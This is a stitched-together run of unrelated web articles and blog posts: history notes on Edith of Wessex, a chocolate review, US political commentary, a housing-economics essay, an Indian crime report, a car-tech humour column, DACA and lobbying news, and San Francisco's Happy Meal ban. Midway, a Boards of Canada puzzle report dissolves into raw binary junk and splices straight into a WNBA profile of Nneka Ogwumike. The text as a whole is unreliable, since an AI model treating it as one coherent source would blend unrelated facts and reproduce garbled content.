operate down to at least 1820 (after the Empire's demise) and its archives are today kept in the German Federal Archives.[5]  The principle that allies of Napoleon could expect to make gains in both territory and status was also established, and was to be repeated on a number of occasions, above all in 1806 when, at the time of the establishment of the Confederation of the Rhine, over 80 small and mid-size secular states (such as principalities and imperial counties) were mediatized and annexed to some of the member states of the new Confederation.[6] These massive territorial and institutional upheavals were to bring about the dissolution of the Empire in the course of the same year.
-Edith was a common name in Anglo-Saxon England, and it’s hard to keep them all straight. You are more likely to see this name spelled Ealdgyth, Editha, Aldgyth, Eddeva, Aldyth, Eadgyth, Edyth…I’m sure I missed a few. I like to think of her as Edith Godwindottir, but she is rarely found under that name. Why Edith of Wessex? She was Queen of England, not Wessex. She did not belong to the House of Wessex like her husband Edward the Confessor. Since her father was first Earl of Wessex, I suppose that is why the name stuck, though I do find it puzzling.  I also find it ironic that one our primary sources of the period, the Life of King Edward who rests at Westminster was commissioned by Edith herself (admittedly called a work of propaganda), and yet she’s been largely overlooked in favor of her illustrious brother Harold II. Try finding any artwork about her; oh yes, there is one memorable depiction of Edith warming Edward’s feet on his deathbed in the Bayeux Tapestry. If you look really hard you can see a female figure. There’s another depiction of her in a MS illum. next to her husband. But that’s about it. Nonetheless, according to Wikipedia, at the time of her husband’s death she was the wealthiest woman in England and the fourth wealthiest person in England after the King, Archbishop Stigand, and her brother Harold. Of course, by the time William was through with her, I imagine some of that great wealth had dissipated.  As was natural for a noble-born daughter, Edith didn’t have any say in her marriage plans. She was a very important pawn in her father’s ambitions, and I imagine Godwine didn’t even consider that she would object to becoming queen of England. But King Edward was at least 20 years older than her, and it seems to be common knowledge that he wasn’t terribly friendly toward her father. It’s pretty clear that Edward held Godwine responsible for the violent death of his brother Alfred, no matter how much the Earl protested his innocence. I wonder who was more unwilling: the bride or the groom?  So what kind of marriage did Edward and Edith have? It is thought by some that Edith commissioned Edward’s Life as an attempt to save face concerning her barren marriage. After all, a woman was always held responsible for a lack of children, and England’s fate relied on her. If she could portray Edward as too saintly to be anything but celibate, then she was off the hook. Was this really the case? Or did Edward find her guilt-by-association too much to overcome? Did they ever consummate the marriage? Or was one of them merely infertile? Hmm, one of the great mysteries of the eleventh century.  One thing is for sure: once Earl Godwine was sent into exile in 1051, poor Edith was trundled off to a nunnery at the earliest opportunity. It is said that if Archbishop Robert of Jumieges had his way, Edward would have annulled his marriage. But the King stopped short of this; perhaps he feared the consequences. On Godwine’s return, Edith was reinstalled as well, and for the rest of his reign she was treated with respect. On his deathbed, Edward said she had always been like a loving and dutiful daughter. Of course, those could have been her propagandist’s words, but they do put some distance between man and wife.  Edith does seem to have a reputation as a well-educated woman, speaking many languages; she made sure Edward’s appearance was always exquisite, outfitting him with fine accessories and jewels. She is also thought to be demanding and possibly ruthless; there was an assassination at the Christmas Court in 1064 which has been pinned on Edith, who allegedly ordered the murder of a certain Gospatric (or Cospatric) as a favor to Tostig, her closest brother. It must have been difficult for her to be sidelined after Edward died, but in those challenging times maybe it wasn’t such a bad thing to fade into the background. At first Harold treated her as befit her station, then after the conquest William pretty much left her alone, provided she didn’t make any trouble for him. William even buried her in Westminster Abbey beside her husband. In the end it could be said that she fared better than her more illustrious siblings.
-Here we have the Gubor Winter Apfel, which I discovered on a shopping trip to TK Maxx recently. They sell an array of interesting European chocolates there but this caught my eye as it looks similar to Terry's Chocolate Orange . But because of the name "Winter Apfel" I thought it might be apple flavoured. How cool would that be?! Unfortunately, it isn't. Boo hoo! In reality it is "Finest milk chocolate with hazelnut and gingerbread flavour" in the shape of an apple, and is made by German company Gubor  I loved the presentation of this. It comes in a little box similar to chocolate orange, but once opened it fans out:Looks cool, huh? It also has a little "apple leaf" decoration in the top of the "apple". For some reason this brought out the kid in me, I love novelty stuff like this! :)When I removed the wrapper I found this isn't a "solid" chocolate that needs slamming on a hard surface to break it up, like with Chocolate Orange. Instead it comes in individually separated pieces:The word "Gubor" and some little stars are imprinted onto each piece, adding to the special feel of the product. You get the sense that Gubor have put a lot of care and attention into the Winter Apfel.Onto the taste then. The chocolate is smooth and creamy and melts very easily in the mouth, which reminds me a bit of Lindt Extra Creamy. However, I wasn't too impressed with the flavour. It tasted almost exactly like Lebkuchen biscuits, which I have never really liked. Strong notes of ginger dominated the chocolate, which personally I found a bit sickly. I couldn't detect any hazelnut.This Winter Apfel set me back £2.99 at Tk Maxx which isn't cheap, but if like me you love novelty products I'm sure you'd love these. There was a chocolate and orange version which I wish I had picked up too - I'm sure it would've been more to my taste. Hopefully they're still around and reduced in price in the new year.Overall I would say this is an excellent product, both quality and novelty-wise, and would surely bring a smile to any scrooges face! Personally I would opt for the orange version next time. Now, if only they did an actual *apple* flavoured version...Have you tried the Winter Apfel before? If so what did you think?
-A new survey from YouGov finds that millennials have more favorable views of socialism than of capitalism.  As Santayana said, those who do not remember the past are condemned to repeat it. Less than two decades after socialism seemed to have been confined to the dust-heap of history, another generation may have to learn hard lessons.  The survey, taken at the end of January, found that 43 percent of Americans under 30 had a favorable view of socialism. Less than a third of millennials had a favorable view of capitalism. No other age or ethnic demographic preferred socialism over capitalism.  Seniors, unsurprisingly, had the most favorable view of capitalism. Just 23 percent of Americans older than 65 had a positive view of socialism. Sixty-three percent of seniors, though, had a favorable view of capitalism.  Seniors, after all, experienced the long-standing intellectual battle between capitalism and socialism played out in real life. They witnessed a post-war economic euphoria grind down into a socialist malaise, only to be reinvigorated by a global embrace of disruptive technology, deregulation, and global trade.  In the past 20 years, the number of people living in poverty worldwide has fallen by half. In 1990, 43 percent of the world’s population lived in extreme poverty. In 2013, the United Nations estimated that just 22 percent of the world’s population continued to live in extreme poverty.  “Never in history have the living conditions and prospects of so many people changed so dramatically and so fast,” the UN Human Development report said.  Even if millenials aren’t swayed by the dramatic improvement in worldwide living standards, one would hope they would see the benefits of capitalism in the products and services that inhabit their world.  They live, and thrive, in a consumer-driven, on-demand society. They have immediate access, at their fingertips, to more knowledge, art, music, and communication than the wealthiest oligarch just a few decades ago.  Each and every one of the products and services they use every day was developed by someone chasing profit and market-share. It is a cliche to say that capitalism has powered the technological and scientific innovations that have improved all our lives. Apparently, however, it is a cliche that bears repeating.  On a postive note, every other demographic block in America still prefers capitalism over socialism. Well, Democrats, perhaps naturally, are evenly split between the two economic systems. At least Democrats, though, have slightly higher unfavorable ratings of socialism than capitalism.  The danger, of course, is that the demographic in America that does prefer socialism is also the future of the country. Of course, they have the luxury of looking positively on socialism, since any impact on their lives is restricted to dusty history books.  The finding also presents something of an existential dilema for the conservative and libertarian movement. Since the 1980s, the institutional infrastructure of the conservative and libertarian movement has grown exponentially.  Aside from dozens of national think tanks and advocacy organizations devoted to propogating conservative and free market views, there are more than a hundred free-market think tanks in states across the country.  It is safe to say that billions of dollars have been spent over the past two decades promoting and educating the public on the benefits of capitalism and free markets. There are publishing imprints, media companies and new conservative news sites everywhere. Yet, something has gone horribly wrong.  Many in the commentariat have watched the rise of Bernie Sanders with a certain touch of condescending nostalgia. “Oh, look a socialist is running for President, isn’t that cute,” you can almost hear them type.  For many, Bernie’s label as a socialist was something he would have to overcome to make a serious run for the White House. It may now be, however, something he needs to more warmly embrace.
-On Friday’s Real Time with Bill Maher, political comedian and talk show host Bill Maher ripped into Donald Trump’s immigration plan and the Republican party overall. Maher defended his belief that many conservatives are “stupid and racist” and boldly stated that America doesn’t have an immigration problem.  “All the conservatives complain about me, and most liberals, that we are dismissive of conservatives. The rednecks, the tea party, we think they’re stupid and racist. And I say they are stupid and racist. Tell me what I should do in a week like this, where the unparalleled leader of the party, Donald Trump, unveiled a plan that is so stupid and racist and its not even addressing a problem that really exists, because there is not a real immigration problem in America, net immigration has been close to 0 for the last 7 or 8 years, and if his plan went into effect, lettuce would cost $25 a head. So, when the party is embracing him and that plan, what does a person like me, who’s tempted to say its stupid and racist, do?”  Panelist Charles Cooke, a conservative author, admitted Maher should “gloat to an extent” and even criticized Trump.  “I’ll say this. I don’t think he’ll be the nominee. I don’t think he’ll win a single primary. I do think he’s worrying. It’s worth saying he’s not like by 75-percent of the party, and the Republican’s have to decide, are they going to be party full of classical liberals, in the old sense of the word, who believe in freedom for everybody and opportunity for everybody. Or are they going to be the party of white identity politics, and Donald Trump unfortunately is tapping far more into the latter.”  Maher pointed out that other Republican candidates, like Ben Carson, are taking on Trump’s style.  “The other candidates are now trying to imitate him. They are trying to out Trump Trump. Ben Carson says he’d use drones on the Mexican border. I’m not kidding. He’d incinerate the mother f*ckers from the sky.”  Maher went on the lambast the Republican party as a whole.  “But is it fair to say that the Republican party in general gets involved in these fantasies about things that will never happen? None of what he’s proposing will ever happen, we are not going to deport 11 million people. The CBO says it would cost $300 billion, take 40 years and send us into a horrible recession. There’d be people outside Home Depot looking for work, but they’d be white.”  [Image via Getty Images]
-One argument against new housing in popular cities is the “induced demand” argument—the idea that new housing merely creates demand for more new housing, thus ultimately raising housing prices.  As journalist Tim Redmond argues: "When you build a new luxury housing complex, new residents move into it. For the most part, they result in net additions to the number of people in the city: If the person who buys a new condo moves out of a rental unit, someone else will move into that rental.…The people with high disposable incomes who fill those condos or luxury rentals will spend money in town, creating a demand for jobs – restaurant workers, grocery clerks, cops and firefighters, bank tellers…and those people will also need a place to live."  In other words, if the city permits 1,000 new housing units (other than government-subsidized housing, which is somehow exempt from this rule), dozens, or even hundreds, of people will magically appear from elsewhere in the United States to occupy those units. And the consumer spending of these new residents will create service-industry jobs, which in turn creates additional housing demand, thus raising housing prices. (Or in plain English: the only thing worse than new housing is new jobs.)  Why do I find this theory implausible? First, I find it hard to believe that a resident of a new apartment building has moved from Sacramento or Des Moines just because a new apartment was built in San Francisco; after all, when San Francisco adds a new building, Des Moines residents aren't likely to know of the building's existence, let alone move to San Francisco because of the new building.  It seems to me more probable that the new building's residents already lived in the city (or perhaps one of its suburbs). They might have been living with roommates, or in less desirable buildings in the city, or in suburbs that are also part of the region’s housing market. So it seems to me unlikely that new apartments create a significant number of new city residents—unless, of course, the apartments actually lower other buildings' rent enough to make city living more popular (in which case the entire "induced demand" argument is wrong, because new supply in fact lowers rents rather than raising them).  Second, the "induced demand" argument assumes that new affluent residents lead to new working-class residents. But even if the new residents spend enough money to create new working-class service jobs, it seems hard to believe that large numbers of people will move to high-cost San Francisco to be grocery clerks (unless labor demand is so high as to induce significant wage increases and thus make housing more affordable rather than less affordable). It seems more likely that these jobs will be filled by existing residents lured off the unemployment rolls, and that if urban housing prices are high, these residents will live in low-cost suburbs.  Third, "induced demand" doesn't fit the data. If new housing really increased prices, places that would allowed lots of new housing would consistently have higher prices, and thus the most affordable places would be places where new construction was virtually impossible. But in reality, it appears that places that build a lot of housing, and that impose fewer restrictions on building, seem to have lower housing prices—which is why some high-growth Sun Belt cities are less expensive than San Francisco. (See for example the graph of the bottom of this trulia.com post.)  Redmond cites a decade-old study prepared for the city's planning department. The study states (p. 7): "An underlying assumption of the study is that households that rent or purchase new units represent net new households in the city of San Francisco." In other words, induced demand is not a conclusion of the study, but an assumption of the study. If you assume that new buildings mean new residents, of course you will find that new housing means new demand for housing. In short, garbage in, garbage out.  Moreover, this study was hardly an impartial examination of evidence. Rather, it was a "nexus study"—that is, it was designed to show that there was a nexus between new housing and the need for inclusionary zoning. Why was the study necessary? Because, under state law,* if there is no reasonable relationship (or "nexus") between a development fee imposed by the city (such as inclusionary zoning) and the impact of development, the fee is illegal. So if the city's consultants had failed to find such a nexus, they would have found that the city’s program would be illegal—a result not conducive to the consultants getting hired in the future.  In sum, the old-fashioned conventional wisdom of economics stands—more supply still means lower prices, and less supply means higher prices.  *In particular, the study references California's Mitigation Fee Act.
-crime  Hyderabad Police on Saturday arrested an Uber cab driver for allegedly masturbating while ferrying a 25-year-old woman  Hyderabad Police on Saturday arrested an Uber cab driver for allegedly masturbating while ferrying a 25-year-old woman.  Representational Image  "The arrested accused Prem Kumar (26), is the owner and not the driver of the car. He was driving on that day as regular driver was not on duty," Deputy Commissioner of Police (DCP) P. Viswa Prasad told ANI.  As per the complaint, the woman boarded the cab around 7:00 am to board a flight from Hyderabad¿s Rajiv Gandhi International Airport to New Delhi. The driver slowed down the car on entering the Outer Ring Road, and the woman noticed him unzipping his pant and masturbating.  In the FIR, the complainant admitted to have felt digusted by the act, and yelled at him to stop the car. The driver, instead started to drive in a zig-zag manner. DCP informed that the accused checked on his behaviour only after the woman threatened him with Police complaint.  The woman however continued with the trip lest she should miss her flight, and later lodged a complaint at Safdarjung Police Station on October 19, after reaching Delhi.  Delhi Police forwarded the complaint to Hyderabad Police which took to action and tracked down the accused. DCP Prasad added that Uber did not respond to a mail sent by Commissioner of Police, regarding the case.  You may also like to read: BMC's legal notices to B-Town stars: SRK, Rani Mukherjee, Rishi Kapoor
-Advertisement - Continue Reading Below  From the August 2015 issue  Take a walk around an auto show and you’ll find that every car company wants to tell you about its great new in-car electronics, its apps, and its haptics. At the New York auto show, Jaguar gave a presentation on the system in the new XF, which, according to my notes, is called MeowConnect 10.5. It looks like a nice setup, and is surely a big improvement over the Pong console that powered the old system. The new XF will let you share your car’s navigation info, which sounds useful. That way you won’t keep getting texts that read: “ETA? The salmon’s getting cold and the gazpacho’s getting warm,” forcing you to reply, via speech-to-text, “You’re the one who wanted me to take this big promotion, Evalyn.” Which comes out as, “You won hippopotamus do-dah bug lotion, Ivan!” And you send it anyway, because what does it matter? Evalyn’s as frigid as that gazpacho was.  At the XF debut, Jag did two presentations—one for the car itself and one for ol’ HAL there in the dash. That speaks to the growing complexity of our automotive electronics—a given model might have a thick owner’s manual for the car and then an even thicker one for the TouchingMeTouchingYou 2.0 Digital User Interface System 2.1 (it got upgraded since you started reading this sentence). Dare I say that maybe we’re trying a little too hard with this stuff?  Consider CUE, Cadillac’s sleek-looking system. Not many people know this, but CUE is the reason that Cadillac moved to New York. They were actually just trying to move across the street, but they put the directions into CUE and the next thing you know: Hello, Big Apple! CUE is fun because it uses a motion sensor to change the screen as your hand approaches. No, I’m not making that up. CUE is like the guy reaching out to shake your hand and then yelling, “Psyche!” and slicking his hair back instead.  Advertisement - Continue Reading Below  Of course, you can avoid CUE’s mys­teri­ous runes and tremors by simply telling it what you want to do—a strategy proffered by many a car company as an alternative to recalcitrant in-dash systems. “Well, have you tried the voice commands?” No, I haven’t. I don’t care how good the software gets. I don’t even like talking to my friends. I definitely don’t want to talk to my car. Not even to boss it around.  Can a Jag find Paul Blart: Mall Cop 2? An Infiniti can.  Part of the problem, I suspect, is that carmakers indulge the temptation to cram in every feature that might theoretically have a moment of utility over a car’s life span. For example, I just tried Infiniti’s new InTouch system in the Q50S. Several menus down the infotainment rabbit hole, I had the car giving me movie times for Paul Blart: Mall Cop 2. A disclaimer at the bottom of the screen read, “Screening times displayed are not always up to date.” I suppose this function would be useful, if something happened to your phone—maybe you ran it over?—and you then had to use your car to find uncertain movie times. But in all likelihood, you would never miss this feature if you never had it, leaving your car and your life just a little bit simpler.  Advertisement - Continue Reading Below  Advertisement - Continue Reading Below  Besides complication creep, the lead time inherent in car development means that in-dash electronics tend to be outdated the day a new model hits the lots. My own car is pretty up-to-the-moment on its driver-related electronics, including autonomous braking, radar-enhanced cruise control, and robo-parking. And yet, to load a wallpaper photo on the dash screen, you need to burn photo files onto a CD-R, which then disgorges them onto a hard drive buried somewhere in there. I thought it would be nice to surprise my wife with photos of the kids for Mother’s Day, and now two years later we’ve still got the same shots on rotation. My current laptop doesn’t even have a CD drive, presenting the possibility that the gallery on the screen now might become a permanent installation.  It delights me to think that in 15 or 20 years, my vehicle might be on a seedy used-car lot, a salesman yelling: “Hey, Bobby! Get over here! You know how to get da photos of deese here kids in da wheelbarrow off da dash screen?” And Bobby won’t know how to do that, because it looks like you need a CD or something, which is hilarious to him.  Now, lest you think I’m a grouchy technophobe, I’ll have you know that I like to Snapchat the Tinder on my Oculus Rift as much as the next guy. I completed both the original Super Mario Bros. and Super Mario Bros. 2, so it’s not like I have a problem navigating the mushrooms and sewer pipes of the digital world. But I don’t need very much of that in my car. You know what you need in a car? A radio and directions.  If I designed an infotainment system, that would be the name: Radio and Directions. Sure, I’d customize it for each company—Tunz ’n Turns by Scion!—but the idea would be the same. The nav system would just be a screen that mirrors whatever your phone is doing, while the stereo would look like a Marantz receiver and mirror whatever your phone is doing. Thus freeing you to pay attention to my awesome new app: I call it “driving.”
-The latest piece of the Board Of Canada puzzle falls into place.  The story so far: last weekend, a copy of a mysterious 12″ credited to Boards Of Canada, was found in New York record store Other Music, containing 20 seconds of music, a mysterious six digit number and cover art reading “—— / —— / —— / XXXXXX / —— / ——”. Other 12″ editions subsequntly cropped up across the globe, including London’s Rough Trade East, bearing the same number. Another clue was then reported to have emerged through YouTube , where a breadcrumb trail of private links and codes led to a cryptic video with another six digit code. BBC Radio 1 subsequently broadcast a third piece of the code, and NPR followed suit with a another new number (although the position of their six-digit number has yet to be placed on the keycode).  As BoC Pages report, the next clue has been hidden in the belly of the beast – the Boards Of Canada messageboards, where fans have spent the last week furiously hunting, parsing and arguing.  In the early hours of this morning, Boards Of Canada updated their official Youtube playlist, moving three Twoism-inspired videos to the top of the list. A user on the unofficial messagboard Twoism quickly spotted that one of the rotating banners on the unofficial message board Twoism had been altered from this:  To this:  The new image features a strange pattern, which corresponded with the previously spotted video above.  Another user subsequently opened the .gif banner in Notepad, revealing the following code:  ,-Dy/ 0twb 7{H R689 a XEYE >>===<<<;;;:::99988877766655544433UTTTSSSRRRQQNMMMLLLKKKJJJIIIHHHGGFEEEDDDCCCBBBAAA@@@??zyyyxxxwwwvvvuurqqqpppooonnnmmmllhgggfffeeedddcccbb`___^^^]]]\\\[[[ZZZYYVUU ~|||{{{uuussskkkjjjiiiaaaXXXWWWPPPOOOGGGFFF””” @->d $z8 |bHF k> The best basketball player in Los Angeles began Friday night’s game with a steal and a layup.  She ended Friday night’s game with a simple rim-run, from baseline to baseline, so she could finish a fast break, when her team led by only one point.  The Sparks beat San Antonio, 71-65, and ended the WNBA regular season with a 26-8 record. Coach Brian Agler was asked his choice for MVP of the league by people who already knew the answer was Nneka Ogwumike.  “First, she’s having a historic offensive season, the most efficient season in the history of the league,” Agler said. “Then you take the things I see with her leadership every day.  “Then she’ll probably be All-Defense on top of everything else. Who’s done that in the past? Tamika Cathings and Lauren Jackson, and that’s it. Think about that.”  Ogwumike put up 17 points, 10 rebounds and four assists against San Antonio. She averages 19.8, eight and three. She ranks third in the league in scoring and third in rebounds, in her third WNBA season, and her league-leading field goal percentage actually took a hit when she went 6 for 10, falling to .664.  At Dallas on June 11, she made all 12 shots from the field and all seven from the foul line. Against Chicago three nights later, she made 12 of 14.  Her workplace is the deep paint, but those aren’t easy shots when you’re 6-foot-2. Ogwumike scores with either hand and from all existing angles, and she’s strong enough to get to the line 168 times. She makes 86.5 percent of those.  Ogwumike might sneak up on the box score, but her nonstop motion captures all eyes. Rest assured she is a lot closer to the top of her league than anybody else around here is to hers, or his.  “My goal was to be more a leader this year,” Ogwumike said Thursday, after a Sparks practice at USC’s Galen Center. “I always prided myself on being a team player. But I also realized I’m no longer a rookie. I’m a veteran, so I can affect things on the court. Lead by example, hold people accountable. I guess I wanted to be more assertive.  “My teammates are the ones who told me about going 12 for 12. A big part of my game has always been efficiency. But at times when I focus on that, I’m not always as aggressive. I can’t be afraid to miss.”  Agler likes the way Ogwumike diversifies the Sparks’ defense by guarding the top gun every night. He cites a game against league-leading Minnesota in which she periodically checked Lindsay Whalen (5-9), Maya Moore (6-0) and Sylvia Fowles (6-6).  Minnesota is seeded No. 1 in the upcoming playoffs. The Sparks are No. 2. The Olympic break forced a different playoff matrix, in which both teams get a bye into the semifinals, which will be best of 5. The first two rounds are one-game knockouts, like the NCAA Tournament, which most WNBA players know well. Stanford went to the Final Four in all four of Ogwumike’s seasons.  Her dad Peter came from Nigeria to Houston and runs an information technology business. His wife Ify is an executive in the Houston school system. Nneka and Chiney Ogwumike both went to Stanford and both were taken No. 1 in the WNBA draft, the only siblings besides the Mannings to do that. Chiney averages 12.7 points with the Connecticut Sun.  Nneka’s wintertime job is with Dynamo Kursk, a Russian team coached by an American, Bo Overton. While there she plays and against WNBA players and lives a global life that the pioneers of the women’s game could not have imagined.  “Kursk has more of a suburban feel to it, and it’s a bit antiquated,” she said. “We practice twice a day, play two games a week and travel once a week, so it’s pretty regimented, but we go to cool places. This year we’re going to Prague, Krakow, Istanbul, which is always nice. Going to Mersin, on the Mediterranean coast, in Turkey.  “It’s fun because you meet new people who, in the WNBA, you might not normally be acquainted with. You make different friends, learn new languages. Although I only speak enough Russian to get through the day. I’m not having conversions. But I always indulge in different cultures. I look forward to it.”  Of course, you miss the NBA season in L.A. when you do that. Ogwumike leaves that up to Chris Paul, Blake Griffin, DeAndre Jordan and any Lakers who aspire. She’s done all she can.  Three facts:  1. Nneka Ogwumike had a career-high 38 points against Atlanta on June 30.  2. The Sparks began the season 14-0, then lost to Minnesota on June 21.  3. Ogwumike passed the career 2,500 point mark on Friday in the Sparks’ win over San Antonio.
-Lawmakers on both sides of the aisle are scrambling to find a legislative fix for the embattled Deferred Action for Childhood Arrivals (DACA) program, as it faces a crucial legal challenge.  DACA grants a work permit and protection from deportation to about 750,000 undocumented immigrants brought to the country as children.  Ten states, led by Texas Attorney General Ken Paxton (R), have threatened to challenge DACA in the courts unless the Trump administration cancels the program by September 5.  ADVERTISEMENT  The Trump administration has not said if it will defend the program in court.  Concerns that the program could be terminated by the administration or court ruling has led to a flurry of legislative proposals over the last two weeks designed to protect immigrants under the program, commonly known as Dreamers, through legal status or a path to citizenship if the program ends.  House Democrats presented the American Hope Act Friday, garnering 117 co-sponsors within the Democratic Caucus, so far.  And in a bipartisan move, earlier this week, Reps. Ileana Ros-Lehtinen (R-Fla.) and Lucille Roybal Allard (D-Calif.) presented a new version of the Dream Act, a bill that was first presented in 2001.  It's similar to a bill presented in the upper chamber by Sens. Lindsey Graham Lindsey Olin GrahamHouse to push back at Trump on border Trump pressures GOP senators ahead of emergency declaration vote: 'Be strong and smart' This week: Congress, Trump set for showdown on emergency declaration MORE (R-S.C.) and Dick Durbin Richard (Dick) Joseph DurbinKids confront Feinstein over Green New Deal Senate plots to avoid fall shutdown brawl Overnight Energy: Trump ends talks with California on car emissions | Dems face tough vote on Green New Deal | Climate PAC backing Inslee in possible 2020 run MORE (D-Ill.).  A bill presented by Rep. Carlos Curbelo (R-Fla.) in the House in March, the Recognizing America's Children (RAC) Act, is gaining support among centrist Republicans.  "There's an added urgency to deal with the Dreamers. As you know there's all these lawsuits out there now," said Rep. Mario Díaz-Balart (R-Fla.), a co-sponsor of the RAC Act.  In order to apply for DACA, potential beneficiaries were forced to register with the government, admit to being in the country illegally, and pass a background check.  That process has supporters of the program worried that the administration could turn that information into a deportation list if the program is ended administratively or by the courts.  "The administration has said they don't want to deport them, but the reality is if those lawsuits happen and succeed, then these are folks that have registered, so they're in a really precarious situation," said Díaz-Balart.  Trump renewed the program in a June memo but cancelled two other Obama-era executive orders on immigration, Deferred Action for Parents of Americans (DAPA) and an expansion of DACA.  Both of those programs were previously halted by their courts, so Trump's decision didn't directly affect any immigrants.  But immigrant-rights activists are making it a priority to protect DACA, and are pushing administration officials to weigh in on a legislative fix to protect Dreamers.  The appeals targeted John Kelly as Homeland Security secretary. Kelly on several occasions expressed his support for Dreamers while also questioning the legality of the program. But Kelly never supported any specific bill and was named Trump's White House chief of staff Friday, replacing Reince Priebus.  Before the Senate bill was unveiled, a White House spokesman said the administration had not supported earlier bills and was unlikely to do so.  "The fact that the president indicated he wouldn't sign it means to the secretary that it's not a viable option," said David Lapan, Kelly's spokesman, Tuesday. "[Kelly's] not going to support any legislation that’s not going to become law."  Still, Ros-Lehtinen and Roybal Allard unveiled their bill in hopes of sparking debate in the House.  Democratic Rep. Luis Gutierrez Luis Vicente GutierrezDHS to make migrants wait in Mexico while asylum claims processed Coffman loses GOP seat in Colorado Trump changes mean only wealthy immigrants may apply, says critic MORE (Ill.), a vocal advocate on immigration, has proposed his own bill, the Hope Act.  "Defense [of Dreamers] includes putting legislation that charts a way forward," said Gutiérrez at a press conference Friday.  Gutiérrez added he would support any of the bills put forward if they kept in place protections for DACA recipients and other young immigrants in similar situations.  Between 750,000 and 800,000 people have received DACA benefits and a Migration Policy Institute study found over one million people would benefit from the House version of the Dream Act.  Supporters of the bills insist they would pass if they received a floor vote.  "This doesn't have to be complicated," said Rep. Zoe Lofgren (D-Calif.). "The speaker makes the decision on what gets voted on, on the floor."  "I am confident that if the speaker makes a decision to put this bill on the floor we have time to debate it and pass it," she added.  A spokeswoman for Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) said any bills would have to make it through committee first.  Curbelo said it's his priority to convince the Republican Conference to bring a bill protecting Dreamers to the House floor.  "It's one of my goals for this Congress," Curbelo told The Hill earlier this month.  But it's unclear if lawmakers will be able to coalesce around any one bill.  Díaz-Balart said having multiple bills is a good first step.  "It's good to have markers out there. I think I have an idea as to how maybe we can get something done -- it is going to require that the stars line up," said Díaz-Balart.  "I think there may be opportunities, hopefully this year, to actually see some legislation take place," said Díaz-Balart.
-Donald Trump will assemble a group of high-powered lobbyists Thursday, so they can pitch him on their special interests behind closed doors at Trump Tower.  The “Trump Leadership Council,” as it has been dubbed, was formed to provide the presumptive Republican nominee with guidance on various industries. Thursday’s multi-hour meeting will include whirlwind rounds of presentations by America’s powerful defense, energy, healthcare, manufacturing, finance, and commerce industries, according to a source involved with planning the meeting.  But this gathering signifies a distinct change in the Trump campaign.  The business mogul has previously spurned lobbyists: in the early days of his campaign he bragged that he didn’t need to raise money from powerful special interests. “I don’t want lobbyists. I don’t want special interests,” he told CBS in August of last year.  Trump “turned down $5 million last week from a very important lobbyist,” he said in August, “because there are total strings attached to a thing like that. He’s going to come to me in a year or two years and he’s going to want something for a country that he represents or for a company that he represents.”  But in recent months he has sung a different tune, hiring Paul Manafort as a senior aide, despite his work for the so-called torturers’ lobby and bringing a bevy of other politicos with lobbying connections into the fold.  Trump’s campaign did not respond to a request for comment.  Thursday’s meeting is also straight out of a Bernie Sanders supporters worst nightmare. Sanders, of course, has run a campaign opposed to the “millionaires and billionaires” that he believes have far too great a role in American democracy—and as such Trump’s outreach to lobbyists runs contrary to Trump’s outreach to the Vermont senator’s supporters.  “To all of those Bernie Sanders voters who have been left out in the cold by a rigged system of superdelegates, we welcome you with open arms,” Trump said Tuesday, as Hillary Clinton clinched the Democratic nomination.  The Aerospace Industries Association will lead the pitch on national security issues: founded nearly 100 years ago, the AIA represents many of the major aerospace and defense firms in the United States.  The association has been an outspoken opponent of defense spending cuts.  “Most members of the industry have decided that AIA was the most appropriate group to go do the briefing,” a defense industry source told The Daily Beast. The AIA declined to comment for this story.  Joining the delegation will be representatives of some of the country’s most influential defense contractors, including Boeing, Lockheed Martin, and Raytheon.  “We were asked to participate and we will have a representative there,” said Gordon Johndroe, a spokesman for Boeing. “We interact with campaigns of both parties up and down the ballot to provide them our views on issues that impact our business and employees.”  Other large defense firms declined to comment on their participation—while some on condition of anonymity said that their organization chose not to directly participate, despite an invitation to do so.  There was some significant hesitancy among some defense firms to get involved—they didn’t want to signal any endorsement of Trump’s candidacy, but are positioning themselves to maintain influence should he beat Hillary Clinton for the presidency.  Their timidity is accentuated by how controversial Trump’s candidacy has been lately—most recently due to his racist remarks about an Indiana-born judge of Mexican ethnic heritage—but money transcends politics.  —with additional reporting by Olivia Nuzzi.
-(CNN) -- The San Francisco, California, Board of Supervisors banned most McDonald's Happy Meals with toys Tuesday. Despite objections and ridicule from opponents, the vote overrode the mayor's veto and officially approved the ban.  The new ordinance, which requires Happy Meals and other fast food with toys to meet new nutritional standards or else be removed from menus, goes into effect December 1, 2011.  The law is the first of its kind for a major American city, and San Francisco officials said they hope other cities would follow. The ordinance seeks to battle a child obesity epidemic by forcing fast-food chains to make any meal with a toy more nutritious for kids.  McDonald's and the restaurant industry contended the government regulation was unwanted by parents. Supporters of the measure, however, said the use of free toys, often tied to characters or themes in new movies, pandered to kids, to get them to buy meals high in fat and calories.  If restaurants want to offer toys as incentives, the meals must meet new nutrition standards, officials said.  Under the new regulations, food and beverages must contain fewer than 600 calories, and less than 35 percent of the total calories would be allowed to come from fat. The meal must contain half a cup of fruit and three-fourths a cup of vegetables, and offer less than 640 milligrams of sodium and less than 0.5 milligrams of trans fat. Breakfast will have the option of offering half cups of fruit or vegetables.  Mayor Gavin Newsom vetoed the "healthy meal ordinance," but the Board of Supervisors had enough votes -- 8 out of 11 --to override that veto Tuesday, as expected.  "From the Institutes of Medicine to the World Health Organization, we know that reducing the consumption of junk food by kids could spare the health of millions and save billions of dollars to our overstrapped public health system," said Supervisor Eric Mar, sponsor of the legislation.  "That's why pediatricians, educators, parents, community health advocates, and thousands of individuals lined up to support this ordinance," Mar added.  When he vetoed the measure, Newsom said, "Parents, not politicians, should decide what their children eat, especially when it comes to spending their own money."  "Despite its good intentions, I cannot support this unwise and unprecedented governmental intrusion into parental responsibilities and private choices."
